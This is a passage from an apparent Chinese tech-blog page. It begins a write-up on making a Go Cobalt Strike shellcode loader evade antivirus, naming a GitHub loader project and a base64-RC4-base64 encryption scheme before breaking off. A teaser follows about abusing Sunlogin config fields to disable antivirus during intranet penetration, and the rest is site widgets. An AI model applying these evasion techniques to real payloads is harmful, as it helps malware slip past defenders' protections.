0x01 简介 这里以github上一个golang免杀项目为例，项目地址：https://github.com/yumusb/CS-Loader/tree/master/go%E7%89%88%E6%9C%AC，原项目使用方法如下，根据其要求生成cobaltstrike木马后，上传virustotal，免杀效果已经比较差了，且生成木马大小为5.9M，比较大。 0x02 解读原项目 原项目–python加密部分 此项目加密shellcode采用的方式是base64 -> RC4加密 -> bas
内网渗透之向日葵帮我干掉了杀软.pdf
04-08
通过分析向日葵的config.ini配置文件，找到了关键的encry_pwd、fastcode和fastcodehistory字段，这些字段对于控制和绕过杀软具有重要意义。" 在内网渗透中，安全环境往往由各种防护措施组成，其中包括杀毒软件。在...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值